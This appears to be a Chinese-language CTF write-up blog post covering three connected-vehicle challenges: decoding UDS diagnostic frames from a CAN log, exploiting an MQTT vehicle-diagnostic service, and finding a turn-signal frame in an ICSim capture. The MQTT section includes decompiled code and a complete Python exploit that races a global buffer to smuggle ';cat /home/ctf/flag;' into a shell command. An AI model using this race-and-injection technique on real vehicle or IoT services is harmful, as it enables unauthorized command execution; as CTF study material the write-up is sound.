IoV 1n CTF

2024金砖国家职业技能大赛网络安全赛项

UDS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
(1719899379.439680) vcan0 703#0322F18000000000
(1719899379.439765) vcan0 7A3#106562F180633A64
(1719899379.440795) vcan0 703#3000000000000000
(1719899379.440840) vcan0 7A3#2161343332386634
(1719899379.441155) vcan0 7A3#2262306130633432
(1719899379.441466) vcan0 7A3#2339313739303133
(1719899379.441772) vcan0 7A3#2433366239313434
(1719899379.442078) vcan0 7A3#2537626366366630
(1719899379.442382) vcan0 7A3#2631666535633566
(1719899379.442686) vcan0 7A3#2734616631336530
(1719899379.442990) vcan0 7A3#2836643335363431
(1719899379.443293) vcan0 7A3#2965663334333965
(1719899379.443597) vcan0 7A3#2A31306666633666
(1719899379.443902) vcan0 7A3#2B35393264663662
(1719899379.444206) vcan0 7A3#2C63383264393464
(1719899379.444511) vcan0 7A3#2D39386439333431
(1719899379.444816) vcan0 7A3#2E36633537000000
(1719899380.442764) vcan0 703#0322F18700000000
(1719899380.442811) vcan0 7A3#100962F1876B3A4E
(1719899380.443615) vcan0 703#3000000000000000
(1719899380.443643) vcan0 7A3#216F6E6500000000
(1719899380.945693) vcan0 703#0210030000000000
(1719899380.945744) vcan0 7A3#065003003201F400
(1719899380.946599) vcan0 703#0227030000000000
(1719899380.946631) vcan0 7A3#0667030000000000
(1719899380.947342) vcan0 703#062704DEADBEEF00
(1719899380.947368) vcan0 7A3#0267040000000000
(1719899380.948140) vcan0 703#10242EF1876B3A36
(1719899380.948180) vcan0 7A3#30000F0000000000
(1719899380.948903) vcan0 703#2132363333323935
(1719899380.949711) vcan0 703#2238346332646361
(1719899380.950473) vcan0 703#2337626138323338
(1719899380.951183) vcan0 703#2438663637363964
(1719899380.951968) vcan0 703#2536356300000000
(1719899380.951994) vcan0 7A3#036EF18700000000
(1719899380.952736) vcan0 703#0322F18700000000
(1719899380.952762) vcan0 7A3#102462F1876B3A36

零解题目,根据《ISO14229》通过ID读数据中的ID指的是Data Identifier数据标识符,简称DID,DID长度为2个字节。诊断仪一次可以请求读取多个DID,ECU将相同个数的DID数据发给诊断仪。但是常用的方式是一次请求读取一个DID数据,UDS诊断详细看隔壁UDS文章。

DID有一部分已经规定好了,已经规定好的常用DID见下表:

DID(0x) Description 说明
F180 bootSoftwareIdentificationDataIdentifier BOOT软件ID数据ID
F181 applicationSoftwareIdentificationDataIdentifier 应用软件ID数据ID
F182 applicationDataIdentificationDataIdentifier 应用数据ID数据ID
F183 bootSoftwareFingerprintDataIdentifier BOOT软件指纹数据ID
F184 applicationSoftwareFingerprintDataIdentifier 应用软件指纹数据ID
F185 applicationDataFingerprintDataIdentifier 应用数据指纹数据ID
F186 ActiveDiagnosticSessionDataIdentifier 当前诊断会话数据ID
F187 vehicleManufacturer SparePartNumberDataIdentifier 主机厂车辆备件数据ID
F188 vehicleManufacturer ECUSoftwareNumberDataIdentifier 主机厂车辆ECU软件编号数据ID
F189 vehicleManufacturer ECUSoftwareVersionNumberDataIdentifier 主机厂车辆ECU软件版本编号数据ID
F18A systemSupplierIdentificationDataIdentifier 系统供应商ID数据ID
F18B ECUManufacturingDateDataIdentifier ECU制造日期数据ID
F18C ECUSerialNumberDataIdentifier ECU序列号数据ID
F190 VINDataIdentifier VIN数据ID
F191 vehicleManufacturer ECUHardwareNumberDataIdentifier 主机厂ECU硬件编号数据ID
F192 systemSupplier ECUHardwareNumberDataIdentifier 系统供应商ECU硬件编号数据ID
F193 systemSupplier ECUHardwareVersionNumberDataIdentifier 系统供应商ECU硬件版本编号数据ID
F194 systemSupplier ECUSoftwareNumberDataIdentifier 系统供应商ECU软件编号数据ID
F195 systemSupplier ECUSoftwareVersionNumberDataIdentifier 系统供应商ECU软件版本编号数据ID

通过ID读数据通常不需要使用子功能,使用SID+DID即可发请求。
根据题目附件,通过ID读数据服务CAN报文:


AES-CBC iv试出来是deadbeefdeadbeef


musc滚出CTF啊!!!

CISCN2025 FINAL

mqtt pwn

题目checksec,保护全开。简单看了一下没有malloc/free操作。看到有popen,应该是命令拼接

题目代码量不大,但是交互方式还是比较新的,程序连接到本地的MQTT的服务器上收发报文。实际与靶机交互时,可用MQTTX连接到靶机端口。

1
2
3
4
5
6
7
8
9
10
11
12
MQTTClient_create(&qword_5100, "tcp://localhost:9999", "vehicle_diag", 1LL, 0LL);
MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL);
while ( (unsigned int)MQTTClient_connect(qword_5100, v8) )
{
puts("Trying to reconnect to MQTT...");
sleep(2u);
}
MQTTClient_subscribe(qword_5100, "diag", 1LL);
pthread_create(&newthread, 0LL, sub_1E1A, 0LL);
puts("Init...");
while ( 1 )
sleep(1u);

漏洞点在此处

MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall sub_1C8C(__int64 a1, __int64 a2, int a3, __int64 a4)
{
__int64 v5; // [rsp+0h] [rbp-50h] BYREF
int v6; // [rsp+Ch] [rbp-44h]
__int64 v7; // [rsp+10h] [rbp-40h]
__int64 v8; // [rsp+18h] [rbp-38h]
pthread_t newthread; // [rsp+20h] [rbp-30h] BYREF
__int64 v10; // [rsp+28h] [rbp-28h]
char *src; // [rsp+30h] [rbp-20h]
char *v12; // [rsp+38h] [rbp-18h]
char *v13; // [rsp+40h] [rbp-10h]
unsigned __int64 v14; // [rsp+48h] [rbp-8h]

v8 = a1;
v7 = a2;
v6 = a3;
v5 = a4;
v14 = __readfsqword(0x28u);
printf("Receive: %s\n", *(const char **)(a4 + 16));
v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8));
if ( v10 )
{
src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32);
v12 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32);
v13 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32);
strncpy(s1, src, 0x7FuLL);
strncpy(byte_5260, v12, 0x3FuLL);
strncpy(::src, v13, 0x7FuLL);
pthread_create(&newthread, 0LL, start_routine, 0LL);
pthread_detach(newthread);
cJSON_Delete(v10);
MQTTClient_freeMessage(&v5);
MQTTClient_free(v7);
}
return 1LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
void *__fastcall start_routine(void *a1)
{
__int64 v2; // rdx
const char *v3; // rax
__int64 v4; // rdx
__int64 v5; // rdx
unsigned int v6; // [rsp+14h] [rbp-17Ch]
FILE *v7; // [rsp+18h] [rbp-178h]
FILE *stream; // [rsp+20h] [rbp-170h]
__int64 v9; // [rsp+28h] [rbp-168h]
__int64 v10; // [rsp+30h] [rbp-160h]
__int64 v11; // [rsp+38h] [rbp-158h]
__int64 ptr; // [rsp+40h] [rbp-150h] BYREF
__int64 v13; // [rsp+48h] [rbp-148h]
__int64 v14; // [rsp+50h] [rbp-140h]
__int64 v15; // [rsp+58h] [rbp-138h]
__int64 v16; // [rsp+60h] [rbp-130h]
__int64 v17; // [rsp+68h] [rbp-128h]
__int64 v18; // [rsp+70h] [rbp-120h]
__int64 v19; // [rsp+78h] [rbp-118h]
char s[264]; // [rsp+80h] [rbp-110h] BYREF
unsigned __int64 v21; // [rsp+188h] [rbp-8h]

v21 = __readfsqword(0x28u);
if ( !(unsigned int)sub_160E() )
{
sub_1702("{\"status\":\"unauthorized\"}");
puts("unauthorized");
return 0LL;
}
if ( !strcmp(byte_5260, "get_version") )
{
v11 = sub_167C("/mnt/version", "get_version", v2);
if ( v11 )
v3 = (const char *)v11;
else
v3 = "error";
}
else if ( !strcmp(byte_5260, "get_location") )
{
v10 = sub_167C("/dev/location", "get_location", v4);
if ( v10 )
v3 = (const char *)v10;
else
v3 = "error";
}
else
{
if ( strcmp(byte_5260, "get_tpms") )
{
if ( !strcmp(byte_5260, "set_adb") )
{
v6 = atoi(src);
if ( v6 < 2 )
{
snprintf(s, 0x80uLL, "echo -n %d>/mnt/adb_flag;cat /mnt/adb_flag", v6);
stream = popen(s, "r");
ptr = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
fread(&ptr, 1uLL, 0x3FuLL, stream);
pclose(stream);
sub_1702(&ptr);
}
else
{
sub_1702("invalid_flag");
}
}
else if ( !strcmp(byte_5260, "set_vin") )
{
if ( (unsigned int)sub_158A(src) )
{
sleep(2u);
snprintf(s, 0x100uLL, "echo -n %s>/mnt/VIN;cat /mnt/VIN", src);
puts(s);
v7 = popen(s, "r");
ptr = 0x203A746572LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
fread((char *)&ptr + 5, 1uLL, 0x3FuLL, v7);
pclose(v7);
puts((const char *)&ptr);
sub_1702(&ptr);
strncpy(dest, src, 0x3FuLL);
sub_1509(dest, &unk_5080);
}
else
{
sub_1702("invalid_vin");
puts("invalid_vin");
}
}
else
{
sub_1702("unknown_command");
}
return 0LL;
}
v9 = sub_167C("/dev/tpms", "get_tpms", v5);
if ( v9 )
v3 = (const char *)v9;
else
v3 = "error";
}
sub_1702(v3);
return 0LL;
}

每次接收到报文后,用json解析。再新开一个线程调用start_routine函数,start_routine再根据接收到的参数进行不同的操作。

set_vin这里的popen是能够看出有命令拼接的。可是,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall sub_158A(const char *a1)
{
int i; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

v3 = strlen(a1);
if ( v3 > 63 || v3 <= 9 )
return 0LL;
for ( i = 0; i < v3; ++i )
{
if ( ((*__ctype_b_loc())[a1[i]] & 8) == 0 )
return 0LL;
}
return 1LL;
}

这个检查过滤了非数字字母

但问题在于,此处byte_5260是全局变量,也没有加锁保护,又有2秒的竞争窗口周期

所以,我们可以先发送一次合法的报文,再在2s内发送一次拼接注入的报文覆盖,达成命令拼接。

还有一个auth要过。不过这个auth就很简单了,MQTT会往外发VIN码,拿这个VIN码和sub_1509这个函数的逻辑算就是。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import paho.mqtt.client as mqtt
import json
import time

VIN = "XDGV56EK1R8B3W42B"

def getkey(s):
v3 = 0
for c in s:
v3 = 31 * v3 + ord(c)
return f"{v3:08x}"[-8:]

key = getkey(VIN)

a = {
"auth": key,
"cmd": "set_vin",
"arg": VIN
}

b = {
"auth": key,
"cmd": "set_vin",
"arg": ";cat /home/ctf/flag;"
}

def on_message(client, userdata, msg):
print(msg.payload.decode())


client = mqtt.Client()
client.connect(ip, port, 60)
client.subscribe("diag/resp")
client.on_message = on_message
client.loop_start()

client.publish("diag", json.dumps(a))
time.sleep(0.5)
client.publish("diag", json.dumps(b))
time.sleep(5)
client.loop_stop()

easy_can

拿icsim模拟的CAN报文。找出第一次打右转向灯的报文;重复仿真可以参考如下

https://g1at.github.io/2023/02/05/2022PWNHUB%E5%86%AC%E5%AD%A3%E8%B5%9BWrite%20Up/#%E9%A3%9E%E9%A9%B0%E4%BA%BA%E7%94%9F

看一下icsim源码有这几个宏定义

1
2
3
#define DEFAULT_SIGNAL_ID 392 // 0x188
#define CAN_LEFT_SIGNAL 1
#define CAN_RIGHT_SIGNAL 2

还有这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* Parses CAN frame and updates turn signal status */
void update_signal_status(struct canfd_frame *cf, int maxdlen) {
int len = (cf->len > maxdlen) ? maxdlen : cf->len;
if(len < signal_pos) return;
if(cf->data[signal_pos] & CAN_LEFT_SIGNAL) {
turn_status[0] = ON;
} else {
turn_status[0] = OFF;
}
if(cf->data[signal_pos] & CAN_RIGHT_SIGNAL) {
turn_status[1] = ON;
} else {
turn_status[1] = OFF;
}
update_turn_signals();
SDL_RenderPresent(renderer);
}

那也就是找can.id==392,第一次出现data中为\x02开头的报文。

最后得到flag{00000188040000000200000000000000}


IoV 1n CTF
https://g1at.github.io/2024/07/10/IoV-CTF/
作者
g0at
发布于
2024年7月10日
许可协议